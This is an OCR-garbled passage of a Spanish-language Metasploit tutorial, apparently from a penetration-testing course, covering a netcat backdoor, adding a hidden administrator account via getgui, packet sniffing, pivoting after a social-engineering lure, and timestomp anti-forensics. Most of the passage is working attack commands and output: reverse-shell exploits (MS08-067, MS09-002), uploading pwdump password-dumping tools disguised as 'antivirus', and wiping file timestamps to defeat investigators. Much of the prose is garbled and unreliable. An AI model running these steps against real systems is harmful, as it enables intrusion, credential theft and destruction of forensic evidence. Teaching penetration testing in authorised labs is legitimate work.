Standard profile configuration (current):

Operational mode = Enable
Exception mode = Enable

Local Area Connection firewall configuration:

Operational mode = Enable

Abrimos el puerto 445 en el firewall, y comprobarsbse creo bien a regla.

C:\Documents and Settings\Jim\My Documents> netsh f irewall add portopening TCP 455
"Service Firewall" ENABLE ALL

netsh firewall add portopening TCP 455 "Service Fir ewall" ENABLE ALL

Ok.

C:\Documents and Settings\Jim\My Documents> netsh f irewall show portopening

netsh firewall show portopening

Port configuration for Domain profile:
Port Protocol Mode Name

139 TCP Enable NetBIOS Session Service
445 TCP Enable SMB over TCP

137 UDP Enable NetBIOS Name Service
138 UDP Enable NetBIOS Datagram Service

Port configuration for Standard profile:
Port Protocol Mode Name

455 TCP Enable Service Firewall

139 TCP Enable NetBIOS Session Service
445 TCP Enable SMB over TCP

137 UDP Enable NetBIOS Name Service
138 UDP Enable NetBIOS Datagram Service

C:\Documents and Settings\Jim\My Documents>

Cuando hayamos completado, tendremos que reiniciar el sistema remoto y poner a prueba Netcat :D.

root@bt4:/pentest/exploits/framework3# nc -v 172.16 .104.128 455
172.16.104.128: inverse host lookup failed: Unknown server error : Connection timed
out

(UNKNOWN) [172.16.104.128] 455 (?) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C_:\Documents and Settings\Jim> dir
ellglume in drive C has no label.

Volume Serial Number is E423-E726
Directory of C:\Documents and Settings\Jim
05/03/2009 01:43 AM

65/03/2009 01:43 AM

05/03/2009 01:26 AM O :i
05/12/2009 1053 PM




Desktop

10/29/2008 05:55 PM

Favorites

05/12/2009 10:53 PM

My Documents

05/03/2009 01:43 AM 0 QCY
10/29/2008 03:51 AM

Start Menu

05/03/2009 01:25 AM 0 talltelnet.log
05/03/2009 01:25 AM 0 talltftp.log
4 File(s) 0 bytes

6 Dir(s) 35,540,791,296 bytes free

C:\Documents and Settings\Jim>

Maravilloso! En una situacion real, no se debezatilun backdor tan simple como este, sin autesiticeo cifrado ni nada, sin
embargo los principios generales de este procgsersisiendo los mismos que otros cambios en ehsésty otro tipo de
programas piden ejecutarse con el arranque.

9.5.2 Habilitando Escritorio Remoto

Habilitando Escritorio Remoto

Veamos otra situacion en la que Metasploit nos hagefacil el trabajo de apertura de puertas masadilizando nada mas que
herramientas integradas en el sistema. Vamosizantdl script 'getgui' de Carlos Perez, habilitawe el escritorio remoto
(Remote Desktop), y crearemos una cuenta nuevaapeeder con ella.

La utilizacién de este script no podia de ningua&ena ser mas facil de lo que ya es.... asi que:

meterpreter > run getgui -u hax0r -p gibsOn

[*] Windows Remote Desktop Configuration Meterprete r Script by Darkoperator
[¥] Carlos Perez carlos_perez@darkoperator.com

[*] Enabling Remote Desktop

[*] RDP is disabled enabling it ...

[*] Setting Terminal Services service startup mode

[*] The Terminal Services service is not set to aut 0, changing it to auto ...
[*] Opening port in local firewall if necessary

[*] Setting user account for logon

[*] Adding User: haxOr with Password: gibsOn

[*] Adding User: haxOr to local group Remote Deskto p Users

[*] Adding User: haxOr to local group Administrator S

[*] You can now login with the created user

meterpreter >

Ya estd, hemos terminado :D, es verdad. Comprueba la conexion para que veas que es asi de facil.

root@bt: /pentest/exploits/framework3 - Shell No. 2 - Konsole TR ®E |

Session Edit View Bookmarks Settings Help

# rdesktop -u haxOr -p gibson 172.16.104.128
elected| @ rdesktop - 172.16.104.128

Logon Message

1 The user PROFILE)Jim is currently logaed on bo this computer, If you continue, Jim has
- ko disconnect From this computer. Do vou want ko continue?

] Yes | [ o |




Aqui vemos que si que era facil si. Se utilizéahando rdesktop y se especifico el User y Passjgeiemos utilizar para el
login. Entonces hemos recibido un mensaje de ahaa que nos hace saber que un usuario ya hadoisesién en la consola
del sistema, y que si le damos a continuar el issardesconectara. Este es el comportamientoaskppara un sistema de
escritorio de Windows XP, para que podais ver gde funciona como esperabamos. Tenga en cuent&/opa®ws Server
permite logins graficos lo que resulta que no etreoas este mensaje de advertencia.

Recuerda que estos tipos cambios son muy podef@sasdebes utilizarlos con sabiduria y cautela,prrcha, debido a que
todos estos pasos alteran los sistemas de marepugdan ser utilizados por los investigadores fzesteear qué tipo de medidas
y acciones se realizaron en el sistema.

Mientras mas cambios hagas... mas pruebas dejafias a

9.6 Packet Sniffing con Meterpreter

Escuchando paquetes con Meterpreter

En el momento de escribir los tutoriales de estec;iH.D. Moore lanzé una nueva funcién para Mététspramework que es
muy poderosa en todos los sentidos. Meterpretee idora la capacidad de escuchar paquetes ([zaiffeen el host remoto sin
tocar el disco duro. Esto es especialmente (gilisremos saber y controlar los tipos de informagids se estan enviando, y aln
mejor, este es probablemente el inicio de variodulo® auxiliares, que en Ultima instancia, bussalktos mas sensibles dentro
de los archivos de captura. El modulo Sniffer pusdecenar hasta 200.000 paquetes en el buffenlyiéa los exporta al
formato standard PCAP, que nos permite leer y gartes en el psnuffle, el dsniff, el wireshark rerutros.

Bueno... En primer lugar disparamos nuestro expkiia nuestra victimiza, y aumentaremos el niaeh pnvertir a Meterpreter.

msf > use windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > set PAYLOAD windows/ meterpeter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 10.211.55. 126
msf exploit(ms08_067_netapi) > set RHOST 10.10.1.11 9

msf exploit(ms08_067_netapi) > exploitBasically

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*¥] Triggering the vulnerability...

[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (205824 bytes)

[*] Meterpreter session 1 opened (10.10.1.4:4444040.1.119:1921)

Desde aqui iniciamos el sniffer en la interfaz 2 y comenzamos a recoger paquetes. A continuacion guarda el resultado del sniffer
en /tmp/all.cap .

Loading extension sniffer...success.
meterpreter > help

Sniffer Commands

Command Description

sniffer_dump Retrieve captured packet d ata

sniffer_interfaces List all remote sniffable interfaces

sniffer_start Capture packets on a previ ously opened interface
sniffer_stats View statistics of an acti ve capture
sniffer_stop Stop packet captures on th e specified interface

meterpreter > sniffer_interfaces
1 - 'VMware Accelerated AMD PCNet Adapter' ( type:0 mtu:1514 usable:true dhcp:true wifi:false )

meterpreter > sniffer_start 1
[*] Capture started on interface 1 (200000 packet b uffer)




meterpreter > sniffer_dump 1 /tmp/all.cap
[*] Dumping packets from interface 1...
[*] Wrote 19 packets to PCAP file /tmp/all.cap

meterpreter > sniffer_dump 1 /tmp/all.cap
[*] Dumping packets from interface 1...
[*] Wrote 199 packets to PCAP file /tmp/all.cap

Ahora podemos utilizar nuestro parser preferidégara herramienta de andlisis de paquetes PCAPr@asar la informacion
interceptada.

El sniffer de Meterpreter utiliza el MicroOLAP Pa&tiSniffer SDK. Este puede rastrear los paquetds deéiquina victima, sin
tener que instalar ningun driver o escribir endoghivos del sistema. EI médulo es lo suficientemanteligente para darse
cuenta de su propio trafico, asi pues se elimiaatematicamente el trafico de la interactividadviderpreter. Ademas los pipes
de Meterpreter mueven toda la informacién a traesn tinel SSL/ TLS y es totalmente encryptada.

9.7 Pivoting

Pivoting

Pivoting es una técnica que utiliza una Unica mstaque sea capaz de "mover" cualquier tipo diedran una red. (también
conocida como 'plant' o ‘foothold’). Basicamentiizahdo el primer compromiso, por ejemplo, nosmiéz e incluso nos ayuda
en la penetracion de otros sistemas inaccesibiesste caso lo utilizaremos para encaminar ettrafe una red, normalmente
no-routeable.

Imaginemos... Por ejemplo, nosotros somos pensedéeBecurity-R-Us. Bueno vale, tu vas y echassiazo en los directorios
de esa empresa, y encuentras a la pobre “MaryahsSn” en recursos humanos en el index de la w&mneaks.IN. Tu le llamas
por teléfono a esa tal “Mary J. Swanson” y le diges eres del grupo de seguridad “Tecnologia ttfdamacion”, que la
necesitas para ir a corregir el ordenador delititpaospechoso”. Bueno pues, ella corre a visitaedupara ayudarte, y anda que
bien, es el I.Exprorer corriendo todavia con simatvulnerabilidad.

msf > use windows/browser/ms09_002_memory_corruptio n
msf exploit(ms09_002_memory_corruption) > show opti ons
Module options:
Name Current Setting Required Description
SRVHOST 0.0.0.0 yes The local ho st to listen on.
SRVPORT 80 yes The local po rt to listen on.
SSL  false no Use SSL
URIPATH / no The URItou se for this exploit (default is
random)
Exploit target:
Id Name
0 Windows XP SP2-SP3 / Windows Vista SPO / IE 7
msf exploit(ms09_002_memory_corruption) > set SRVPO RT 80
SRVPORT => 80
msf exploit(ms09_002_memory_corruption) > set URIPA TH/
URIPATH =>/
msf exploit(ms09_002_memory_corruption) > set PAYLO AD
windows/patchupmeterpreter/reverse_tcp
PAYLOAD => windows/patchupmeterpreter/reverse_tcp
msf exploit(ms09_002_memory_corruption) > show opti ons




Module options:

Name Current Setting Required Description

SRVHOST 0.0.0.0 yes The local ho st to listen on.

SRVPORT 80 yes The local po rt to listen on.

SSL  false no Use SSL

URIPATH / no The URIto u se for this exploit (default is
random)
Payload options (windows/patchupmeterpreter/reverse _tep):

Name  Current Setting Required Description

EXITFUNC process yes Exit techni que: seh, thread, process
LHOST yes The local a ddress
LPORT 4444 yes The local p ort
Exploit target:
Id Name
0 Windows XP SP2-SP3 / Windows Vista SPO / IE 7
msf exploit(ms09_002_memory_corruption) > set LHOST 10.10.1.109
LHOST =>10.10.1.109
msf exploit(ms09_002_memory_corruption) > set LPORT 8080
LPORT => 8080
msf exploit(ms09_002_memory_corruption) > exploit - ]

[*] Exploit running as background job.

msf exploit(ms09_002_memory_corruption) >
[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*] Using URL: http://0.0.0.0:80/

[*] Local IP: http://10.10.10.243:80/

[*] Server started.

Nuestro ataque de ingenieria social ha sido todéxita! Mas o menos como los asiaticos y Google o tiempo. Pobre
Mary Swanson se ha conectado a la pagina web gabierlo, ha dado pleno acceso a su computadora.

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler

[*] Using URL: http://0.0.0.0:80/

[*] Local IP: http://10.10.1.109:80/

[*] Server started.

[*] Sending Internet Explorer 7 Uninitialized Memor y Corruption Vulnerability to 10.10.1.104:62238...
[*] Sending Internet Explorer 7 Uninitialized Memor y Corruption Vulnerability to 10.10.1.104:62238...
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)

[*] Sending Internet Explorer 7 Uninitialized Memor y Corruption Vulnerability to 10.10.1.104:62238...

[*] Sending stage (2650 bytes)

[*] Sleeping before handling stage...

[*] Uploading DLL (205835 bytes)...

[*] Upload completed.

[*] Meterpreter session 1 opened (10.10.1.109:8080 ->10.10.1.104:62239)

msf exploit(ms09_002_memory_corruption) > sessions -l

Active sessions

1 Meterpreter 10.10.1.109:8080 -> 10.10.1.104: 62239

msf exploit(ms09_002_memory_corruption) >




Vale, que bien. La cuestion es... (A donde vamosaaR?

De alguna u otra manera tenemos que elevar nwEsteso todavia mas y mas aun en la red. No sebkéle notado, pero hemos
utilizado un Payload REVERSE Meterpreter. Obseagatiaquinas de ataque, el IP esta en una subfeeendé de la de la
magquina de las victimas. La direccién IP victimd@211.55.140 y nuestro ataque proviene de 1010®2% Cémo podemos
lanzar ataques contra otros sistemas en la regi®eg@mos ir detras de otra direccion en 10.221285tenemos que dar la vuelta
a la conexion y asi explotar el sistema. Vamos alla

Empezaremos por interactuar con la sesion Metenpyeinotaremos siempre nuestra direccion IP frzifs victimas...
Tecleamos el comando 'route' para ver las sub-iidpsnibles en el PC de la victima.

msf exploit(ms09_002_memory_corruption) > sessions -l

Active sessions

Id Description Tunnel

1 Meterpreter 10.10.1.109:8080 -> 10.10.1.104: 62239

msf exploit(ms09_002_memory_corruption) > ifconfig
[*] exec: ifconfig

ethO  Link encap:Ethernet HWaddr 00:0d:29:d9:e c.cc
inet addr:10.10.1.109 Bcast:10.10.1.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff.fee8:ebe7/64 S cope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:14826 errors:12824 dropped:0 o verruns:0 frame:0
TX packets:6634 errors:0 dropped:0 overru ns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes: 7542708 (7.5 MB) TX bytes:23854 53 (2.3 MB)

Interrupt:19 Base address:0x2024
msf exploit(ms09_002_memory_corruption) > sessions -il
[*] Starting interaction with 1...
meterpreter > route

Network routes

Subnet Netmask Gateway

0.0.0.0 0.0.0.0 10.211.55.2
10.211.55.0  255.255.255.0 10.211.55.140
10.211.55.140 255.255.255.255 127.0.0.1
10.255.255.255 255.255.255.255 10.211.55.140
127.0.0.0 255.0.0.0 127.0.0.1

224.0.0.0 240.0.0.0 10.211.55.140
255.255.255.255 255.255.255.255 10.211.55.140

meterpreter >
Background session 1? [y/N]y

Con esta valiosa informacion en la mano, se leafeadueva ruta a Metasploit utilizando la subréal y
mascara de red de la victima y seflalando que etride sesidnes Meterpreter sea solo "1" en este ca
claro. Ahora ejecutaremos el comando 'route pyrinds mostrara las rutas disponibles para nosotros.



msf exploit(ms09_002_memory_corruption) > route add 10.211.55.0 255.255.255.0 1
msf exploit(ms09_002_memory_corruption) > route pri nt

Active Routing Table

Subnet Netmask Gateway

10.211.55.0 255.255.255.0  Session 1

msf exploit(ms09_002_memory_corruption) >

Ahora vamos a utilizar nuestra nueva ruta para explotar un sistema mas dentro de la red de la victima.

msf exploit(ms09_002_memory_corruption) > use windo ws/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > set PAYLOAD windows/ patchupmeterpreter/reverse_tcp
PAYLOAD => windows/patchupmeterpreter/reverse_tcp

msf exploit(ms08_067_netapi) > show options

Module options:

Name Current Setting Required Description

RHOST yes The target a ddress

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe nam e to use (BROWSER, SRVSVC)
Payload options (windows/patchupmeterpreter/reverse _tep):

Name  Current Setting Required Description

EXITFUNC thread yes Exit techni gue: seh, thread, process
LHOST yes The local a ddress
LPORT 4444 yes The local p ort
Exploit target:
Id Name

0 Automatic Targeting

msf exploit(ms08_067_netapi) > set RHOST 10.211.55. 128
RHOST =>10.211.55.128

msf exploit(ms08_067_netapi) > set LPORT 9000

LPORT => 9000

msf exploit(ms08_067_netapi) > set LHOST 10.10.1.10 9
LHOST =>10.10.1.109

msf exploit(ms08_067_netapi) > exploit

[*] Handler binding to LHOST 0.0.0.0

[*¥] Started reverse handler

[*] Automatically detecting the target...

[*] Fingerprint: Windows 2003 Service Pack 2 - lang :English

[*] Selected Target: Windows 2003 SP2 English (NX)

[*¥] Triggering the vulnerability...

[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (2650 bytes)

[*] Sleeping before handling stage...

[*] Uploading DLL (205835 bytes)...

[*] Upload completed.

[*] Meterpreter session 2 opened (10.10.1.109:9000 ->10.10.1.104:62260)

meterpreter >

Background session 2? [y/N]y




Parece que otra vez tenemos éxito. Vamos a comfgoeestamos donde queremos estar.

msf exploit(ms08_067_netapi) > sessions -

Active sessions

Id Description Tunnel

1 Meterpreter 10.10.1.109:8080 -> 10.10.1.104: 62239
2 Meterpreter 10.10.1.109:9000 ->10.10.1.104: 62260

msf exploit(ms08_067_netapi) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > execute -f cmd.exe -i

Process 3864 created.

Channel 1 created.

Microsoft Windows [Version 5.2.3790]

(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32> ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection 6:

Connection-specific DNS Suffix . : localdomain

IP Address. ...........:10.211.55.12 8
SubnetMask...........:255.255.255. 0
Default Gateway . ........:10.211.55.2

C:\WINDOWS\system32>

Birra para todos :D!!! hemos tenido éxito si, etaesxplotacién, comprometiendo la red 10.211.58.9/bs hosts normalmente
no routeables.

Tenemos ahora un acceso total a 10.211.55.14®@¢ 1.65.128, si te paras a observar nos dice qu€.10109 esta conectado a
10.10.1.104, observe también que nosotros hicimd2ayload REVERSE y que 10.10.1.104 es la diredéiG@xterna. El

10.211.55.128 y 10.211.55.140 NAT estan detrad@dl0.1.104 router

9.8 TimeStomp

TimeStomp

Interactuar con la mayoria de los archivo del sistees como caminar en la nieve... dejaras hueilashas huellas. Edemas el
grado de detalle de estas huellas son muy altaguautambién se puede aprender mucho con ellagntatiempo esta dura
depende de diversas circunstancias. El arte dzanaktos artefactos se llama “Digital Forensiosis utilizado por la policia
gue nadie. Por diversas razones, al realizar unetzeion de buena magnitud, puede que quiera haeesea dificil para un
analista forense determinar las acciones que nzesio.

La mejor y mas fiable manera de evitar la detecd®nna investigacion forense es simple: No tagsistema de ficheros! Una
de las cosas bellas que tiene Meterpreter, quarga en la memoria sin escribir nada en el distcgran medida minimizando
los artefactos que se suele dejar en un sisteman#argo, en muchos casos puede que tengas euaeinar con archivos del
sistema de alguna manera. En estos casos timepigde sernos de gran utilidad.

Veamos en un archivo cualquiera en el sistema,tasamcuando y como de veces a sido este (Moddicatesado cambiado):



File Path: C:\Documents and Settings\POWN3D\My Docu ments\test.txt
Created Date: 5/3/2009 2:30:08 AM

Last Accessed: 5/3/2009 2:31:39 AM

Last Modified: 5/3/2009 2:30:36 AM

Ahora vamos a empezar por la explotacion del sistema en Meterpreter. Después de eso, vamos a cargar el mddulo
timestomp, y echar un vistazo rapido al archivo en cuestion

msf exploit(warftpd_165_user) > exploit

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*] Connecting to FTP server 172.16.104.145:21...

[*] Connected to target FTP server.

[*] Trying target Windows 2000 SP0-SP4 English...

[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)

[*] Sleeping before handling stage...

[*] Uploading DLL (75787 bytes)...

[*] Upload completed.

[*] meterpreter session 1 opened (172.16.104.130:44 44 -> 172.16.104.145:1218)
meterpreter > use priv

Loading extension priv...success.

meterpreter > timestomp -h

Usage: timestomp file_path OPTIONS

OPTIONS:

-a Set the "last accessed" time of the file

-b Set the MACE timestamps so that EnCase sh ows blanks

-c Set the "creation” time of the file
-e Set the "mft entry modified" time of the file

-f Set the MACE of attributes equal to the suppli ed file

-h Help banner

-m Set the "last written" time of the file

-r Set the MACE timestamps recursively on a directory

-v Display the UTC MACE values of the file
-z Set all four attributes (MACE) of the file

meterpreter > pwd

C:\Program Files\War-ftpd

meterpreter > cd ..

meterpreter > pwd

C:Program Files

meterpreter > cd ..

meterpreter > cd Documents\ and\ Settings
meterpreter > cd POWN3D

meterpreter > cd My\ Documents
meterpreter > Is

Listing: C:\Documents and Settings\POWN3D\My Docume nts

Mode Size Type Last modified Name
40777/rwxrwxrwx O dir Wed Dec 31 19:00:00 - 0500 1969 .
40777/rwxrwxrwx O dir Wed Dec 31 19:00:00 - 0500 1969 ..
40555/r-xr-xr-x 0  dir Wed Dec 31 19:00:00 - 0500 1969 My Pictures
100666/rw-rw-rw- 28 fil Wed Dec 31 19:00:00 - 0500 1969 test.txt

meterpreter > timestomp test.txt -v

Modified  : Sun May 03 04:30:36 -0400 2009
Accessed  : Sun May 03 04:31:51 -0400 2009
Created : Sun May 03 04:30:08 -0400 2009
Entry Modified: Sun May 03 04:31:44 -0400 2009




Ahora, echemos un vistazo a fechas / data MACitadigs. Vemos que el archivo fue creado recienteam®amos a hacernos
un poco el tonto y hacer como si esta fuera unaméenta Super-Secreta que tenemos que esconstex{feUna manera de
hacer esto podria ser transformando la fecha MA& gae coincida con la fecha MAC de otro archiveksistema. Podemos
copiar los tiempos / fecha MAC de cmd.exe a tagpdxa hacer la mezcla un poco mejor.

meterpreter > timestomp test.txt -f C:/WINNT/system 32/cmd.exe

[*] Setting MACE attributes on test.txt from C:\WIN NT\system32\cmd.exe
meterpreter > timestomp test.txt -v

Modified : Tue Dec 07 08:00:00 -0500 1999

Accessed  : Sun May 03 05:14:51 -0400 2009

Created : Tue Dec 07 08:00:00 -0500 1999

Entry Modified: Sun May 03 05:11:16 -0400 2009

Eso es! Ahora parece como si el archivo text.txt fue creado en diciembre de 1999. Veamos como se ve esto desde
Windows.

File Path: C:\Documents and Settings\POWN3D\My Docu ments\test.txt
Created Date: 12/7/1999 7:00:00 AM
Last Accessed: 5/3/2009 3:11:16 AM

Last Modified: 12/7/1999 7:00:00 AM

Exito! fijate que hay algunas pequefias diferermmuse los tiempos a través de Windows y MSF. BEstidebe a la forma en que
se muestran las zonas horarias. Windows muestteetopos en -0600, mientras que MSF muestra logpixs de como -0500.
Cuando se ajuste la diferencia horaria, podemogueicoinciden. Observe también que el acto de aarapion de la
informacion dentro de archivos de Windows ha atteral tiempo del Gltimo acceso. Esto viene a derapki fragiles que
pueden llegar a ser las fechas MAC, asi que deleesee cuando se interacta con ellas

Vamos ahora a hacer un cambio un poco distint@uando al ejemplo anterior, lo mejor que podempsm®s es que sea Mas
dificil para un investigador determinar cuandoesdizaron los cambios realmente. En estas situesjdimestomp tiene una gran
opcioén (-b para el blanqueado), donde se reducencalos las fechas - tiempos MAC de un archivihelfros un vistazo.

meterpreter > timestomp test.txt -v

Modified  : Tue Dec 07 08:00:00 -0500 1999
Accessed : Sun May 03 05:16:20 -0400 2009
Created : Tue Dec 07 08:00:00 -0500 1999
Entry Modified: Sun May 03 05:11:16 -0400 2009

meterpreter > timestomp test.txt -b

[*] Blanking file MACE attributes on test.txt
meterpreter > timestomp test.txt -v

[-] Error running command timestomp: Invalid MACE v
Ipentest/exploits/framework3/lib/rex/post/meterpret
“get_file_mace'/pentest/exploits/framework3/lib/rex
tomp.rb:91:in “cmd_timestomp'/pentest/exploits/fram
“parse'/pentest/exploits/framework3/lib/rex/parser/
“each_pair'/pentest/exploits/framework3/lib/rex/par
“parse'/pentest/exploits/framework3/lib/rex/post/me
“each_with_index'/pentest/exploits/framework3/lib/r
“each'/pentest/exploits/framework3/lib/rex/parser/a
“each_with_index'/pentest/exploits/framework3/lib/r
“parse'/pentest/exploits/framework3/lib/rex/post/me
65:in “cmd_timestomp'/pentest/exploits/framework3/|
“send'/pentest/exploits/framework3/lib/rex/ui/text/
“run_command'/pentest/exploits/framework3/lib/rex/p
“run_command'/pentest/exploits/framework3/lib/rex/u
“run_single'/pentest/exploits/framework3/lib/rex/ui
“each'/pentest/exploits/framework3/lib/rex/ui/text/
“run_single'/pentest/exploits/framework3/lib/rex/po
“interact'/pentest/exploits/framework3/lib/rex/ui/t
“call'/pentest/exploits/framework3/lib/rex/ui/text/
“run'/pentest/exploits/framework3/lib/rex/post/mete
“interact'/pentest/exploits/framework3/lib/msf/base
*_interact'/pentest/exploits/framework3/lib/rex/ui/
“interact'/pentest/exploits/framework3/lib/msf/ui/c
‘cmd_sessions'/pentest/exploits/framework3/lib/rex/
“send'/pentest/exploits/framework3/lib/rex/ui/text/
“run_command'/pentest/exploits/framework3/lib/rex/u
“run_single'/pentest/exploits/framework3/lib/rex/ui
“each'/pentest/exploits/framework3/lib/rex/ui/text/
“run_single'/pentest/exploits/framework3/lib/msf/ui
“cmd_exploit'/pentest/exploits/framework3/lib/rex/u

alues

er/extensions/priv/fs.rb:45:in
/post/meterpreter/ui/console/command_dispatcher/pri vitimes
ework3/lib/rex/parser/arguments.rb:63:in
arguments.rb:53:in

ser/farguments.rb:53:in
terpreter/packet_dispatcher.rb:78:in
ex/parser/arguments.rb:44:in
rguments.rb:44:in
ex/parser/arguments.rb:44:in
terpreter/ui/console/command_dispatcher/priv/timest omp.rb:
ib/rex/ui/text/dispatcher_shell.rb:234:in
dispatcher_shell.rb:234:in
ost/meterpreter/ui/console.rb:94:in
iltext/dispatcher_shell.rb:196:in
ltext/dispatcher_shell.rb:191:in
dispatcher_shell.rb:191:in
st/meterpreter/ui/console.rb:60:in
ext/shell.rb:123:in

shell.rb:123:in

rpreter/ui/console.rb:58:in
/sessions/meterpreter.rb:181:in
interactive.rb:48:in
onsole/command_dispatcher/core.rb:997:in
ui/text/dispatcher_shell.rb:234:in
dispatcher_shell.rb:234:in
iltext/dispatcher_shell.rb:196:in
ltext/dispatcher_shell.rb:191:in
dispatcher_shell.rb:191:in
/console/command_dispatcher/exploit.rb:143:in
iltext/dispatcher_shell.rb:234:in




“send'/pentest/exploits/framework3/lib/rex/ui/text/ dispatcher_shell.rb:234:in

“run_command'/pentest/exploits/framework3/lib/rex/u iltext/dispatcher_shell.rb:196:in
“run_single'/pentest/exploits/framework3/lib/rex/ui ltext/dispatcher_shell.rb:191:in
“each'/pentest/exploits/framework3/lib/rex/ui/text/ dispatcher_shell.rb:191:in
“run_single'/pentest/exploits/framework3/lib/rex/ui ltext/shell.rb:127:in “run'./msfconsole:82

Este no es el tipico mensaje de error que nosgdddos :D, sino que para nosotros es muy bued $&fspués de la reduccion
a cero los tiempos MAC, timestomp no pudo analasentradas MAC correctamente. Esto es muy irgatesya que en
algunas herramientas forenses saldran el mismadgmnaby se bloqueara al toparse con entradas cetao\éamos a ver cOmo se
ve el archivo en Windows.

File Path: C:\Documents and Settings\POWN3D\My Docu ments\test.txt
Created Date: 1/1/1601

Last Accessed: 5/3/2009 3:21:13 AM

Last Modified: 1/1/1601

Muy interesante! Tenga en cuenta que los tiemfmshas ya no se muestran, y los datos se estaldesmero de 1601. :D Justo
cuando nascio el archiconocido astronomo Tycho&rah

Sugerenciasttp://en.wikipedia.org/wiki/160%# Nota

meterpreter > cd C:\WWINNT
meterpreter > mkdir antivirus
Creating directory: antivirus
meterpreter > cd antivirus
meterpreter > pwd
C:\WINNT\antivirus

meterpreter > upload /pentest/windows-binaries/pass wd-attack/pwdump6
c:\WINNTWantivirus\\

[*] uploading : /pentest/windows-binaries/passwd-a ttack/pwdump6/PwDump.exe ->
c:WINNTantivirusPwDump.exe

[*] uploaded : /pentest/windows-binaries/passwd-a ttack/pwdump6/PwDump.exe ->
c:WINNTantivirusPwDump.exe

[*] uploading : /pentest/windows-binaries/passwd-a ttack/pwdump6/LsaExt.dll ->
c:WINNTantivirusLsaExt.dll

[*] uploaded : /pentest/windows-binaries/passwd-a ttack/pwdump6/LsaExt.dll ->
c:WINNTantivirusLsaExt.dll

[*] uploading : /pentest/windows-binaries/passwd-a ttack/pwdump6/pwservice.exe ->
c:WINNTantiviruspwservice.exe

[*] uploaded : /pentest/windows-binaries/passwd-a ttack/pwdump6/pwservice.exe ->

c:WINNTantiviruspwservice.exe
meterpreter > Is

Listing: C:\WINNT\antivirus

Mode Size Type Last modified Name
40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 .
40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 ..
100666/rw-rw-rw- 61440 fil Wed Dec 31 19:00:00 -0500 1969 LsaExt.dll
100777/rwxrwxrwx 188416 fil Wed Dec 31 19:00:00 -0500 1969 PwDump.exe
100777/rwxrwxrwx 45056 fil Wed Dec 31 19:00:00 -0500 1969 pwservice.exe
100666/rw-rw-rw- 27  fil Wed Dec 31 19:00:00 -0500 1969 sample.txt

meterpreter > cd ..

Vale... con nuestros archivos subidos, ahora vanepecutar timestomp sobre los archivos para desjais
cualquier posible investigador.



meterpreter > timestomp antiviruspwdump.exe -v
Modified  : Sun May 03 05:35:56 -0400 2009
Accessed  : Sun May 03 05:35:56 -0400 2009
Created : Sun May 03 05:35:56 -0400 2009
Entry Modified: Sun May 03 05:35:56 -0400 2009
meterpreter > timestomp antivirusLsaExt.dll -v
Modified  : Sun May 03 05:35:56 -0400 2009
Accessed  : Sun May 03 05:35:56 -0400 2009
Created : Sun May 03 05:35:56 -0400 2009
Entry Modified: Sun May 03 05:35:56 -0400 2009
meterpreter > timestomp antivirus -r

[*¥] Blanking directory MACE attributes on antivirus

meterpreter > Is

[-] Error running command Is: bignum too big to con vert into “long'However, there is
something to consider in this case. We have hidden when an action occurred, yet it will

still be very obvious to an investigator where acti vity was happening.
/pentest/exploits/framework3/lib/rex/post/file_stat .rb:66:in
“at'/pentest/exploits/framework3/lib/rex/post/file_ stat.rb:66:in
“mtime'/pentest/exploits/framework3/lib/rex/post/me terpreter/ui/console/command_dispatc
her/stdapi/fs.rb:237:in

“cmd_Is'/pentest/exploits/framework3/lib/rex/post/m eterpreter/ui/console/command_dispat
cher/stdapi/fs.rb:230:in

“each'/pentest/exploits/framework3/lib/rex/post/met erpreter/ui/console/command_dispatch
er/stdapi/fs.rb:230:in

“cmd_Is'/pentest/exploits/framework3/lib/rex/ui/tex t/dispatcher_shell.rb:234:in
“send'/pentest/exploits/framework3/lib/rex/ui/text/ dispatcher_shell.rb:234:in
“run_command'/pentest/exploits/framework3/lib/rex/p ost/meterpreter

Como puede verse, meterpreter ya no puede obteristado del directorios apropiado.

Sin embargo, hay algo a considerarse en esteldasmws escondido bien el cuando una accion se mrogeio, todavia estara

muy claro para un investigador la actividad qusinzedido’Qué hariamos si quisiésemos ocultar, tanto comedmufue subido
una caja de herramientas como donde fue subido?

La forma mas facil de abordar esta cuestion esronero los tiempos de la unidad completa. Esta gae el trabajo del
investigador sea muy, muy dificil, ya que el tipio@lisis de linea de tiempo no sera posible. Veapramero vamos a mirar a
nuestro directorio WINNTsystem32.

Archivo:Timestomp 01.pr(§corregir error)

Ok, todo parece normal, para nosotros, claro. AHereamos a agitar un poco el sistema de fichkeagta quedar este muy mal!

meterpreter > pwd

C:WINNTantivirus

meterpreter > cd ../..

meterpreter > pwd

C:

meterpreter > Is

Listing: C:\

Mode Size Type Last modified Name
100777/rwxrwxrwx O fil Wed Dec 31 19:00 :00 -0500 1969 AUTOEXEC.BAT
100666/rw-rw-rw- 0 fil Wed Dec 31 19:00 :00 -0500 1969 CONFIG.SYS
40777 /rwxrwxrwx 0 dir Wed Dec 31 19:0 0:00 -0500 1969 Documents and Settings
100444/r--r--r-- 0 fil Wed Dec 31 19:00 :00 -0500 1969 10.SYS
100444/r--r--r-- 0 fil Wed Dec 31 19:00 :00 -0500 1969 MSDOS.SYS
